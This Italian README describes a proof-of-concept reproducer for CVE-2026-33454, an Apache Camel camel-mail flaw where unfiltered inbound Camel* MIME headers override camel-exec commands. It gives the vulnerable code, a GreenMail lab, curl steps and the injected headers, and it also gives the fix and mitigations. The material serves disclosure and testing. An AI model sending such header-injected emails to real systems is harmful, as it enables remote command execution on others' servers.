Riproduttore della vulnerabilità di iniezione negli header di camel-mail → RCE (CVE-2026-33454)

Questo progetto dimostra una vulnerabilità di iniezione negli header dei messaggi Camel nel componente camel-mail di Apache Camel, registrata come CVE-2026-33454. Un attaccante in grado di consegnare un'email a una casella di posta monitorata da un consumer di posta Camel può iniettare header di controllo Camel* nell'Exchange, ottenendo esecuzione remota di codice quando la route inoltra il messaggio a un producer sensibile agli header come camel-exec.

Avviso di sicurezza: https://camel.apache.org/security/CVE-2026-33454.html

Riepilogo della vulnerabilità

Dettagli tecnici

MailHeaderFilterStrategy estende DefaultHeaderFilterStrategy. Nelle versioni interessate, il suo costruttore configura solo il filtro out e non imposta mai il filtro in:

// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

Quando Camel consuma posta (es. from("imap://...") o from("pop3://...")), MailBinding.extractHeadersFromMail() copia ogni header MIME negli header In dell'Exchange, filtrati tramite headerFilterStrategy.applyFilterToExternalHeaders(...). Poiché il filtro in non viene mai configurato, gli header MIME con prefisso Camel* passano direttamente:

// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

Un attaccante che può inviare email alla casella monitorata può quindi impostare header di controllo Camel* arbitrari. Quando la route inoltra a un producer sensibile agli header come camel-exec, gli header CamelExecCommandExecutable / CamelExecCommandArgs sovrascrivono il comando (rispettati di default nelle versioni interessate) → esecuzione arbitraria di comandi del sistema operativo.

La route della vittima

from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

Prerequisiti

• Java 17+
• Maven 3.8+
• Docker (esegue il server di posta)

Passaggi per la riproduzione

Passaggio 1: Avviare il server di posta (Docker)

Un container GreenMail fornisce SMTP (3025) e IMAP (3143) con una singola casella di posta (login victim, password secret, indirizzo victim@localhost):

docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

Passaggio 2: Compilare e avviare l'applicazione

mvn clean package -DskipTests
mvn spring-boot:run

Avvia la route IMAP della vittima e un controller REST di supporto sulla porta 8080.

Passaggio 3: Email benigna (verifica di funzionamento)

curl http://localhost:8080/exploit/normal

Il consumer la preleva ed esegue echo hello.

Passaggio 4: Attacco — consegnare un'email con header MIME Camel* iniettati

# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

Consegna un'email i cui header MIME includono:

CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

Passaggio 5: Verifica

# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

Se /tmp/pwned esiste, l'header MIME iniettato ha sovrascritto il comando exec → RCE.

Pulizia

docker compose down    # or: docker rm -f greenmail-cve

Vettori di attacco

L'iniezione richiede solo un producer sensibile agli header a valle. L'advisory segnala camel-bean, camel-exec e camel-sql; più in generale:

• camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → esecuzione di comandi del sistema operativo
• camel-file — CamelFileName → scrittura arbitraria di file / path traversal
• camel-bean — CamelBeanMethodName → invocare un metodo diverso
• camel-sql — header di controllo delle query

Condizioni di sfruttamento

1. Una route Camel che consuma posta (imap://, imaps://, pop3://, ...).
2. La route inoltra a (o è influenzata da) un producer sensibile agli header.
3. Nessun removeHeaders("Camel*") tra il consumer di posta e quel producer.

L'attaccante deve solo essere in grado di inviare un'email alla casella di posta monitorata.

Correzione consigliata

La correzione (CAMEL-23222) configura anche il filtro in entrata:

public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

Mitigazione

Fino all'aggiornamento:

1. Rimuovere gli header Camel dai messaggi provenienti dalla posta: .removeHeaders("Camel*") subito dopo from("imap:...").
2. Evitare producer sensibili agli header a valle di posta non fidata, oppure fissare la loro configurazione.
3. Limitare chi può consegnare alla casella di posta monitorata.

File

CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

Dichiarazione di non responsabilità

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.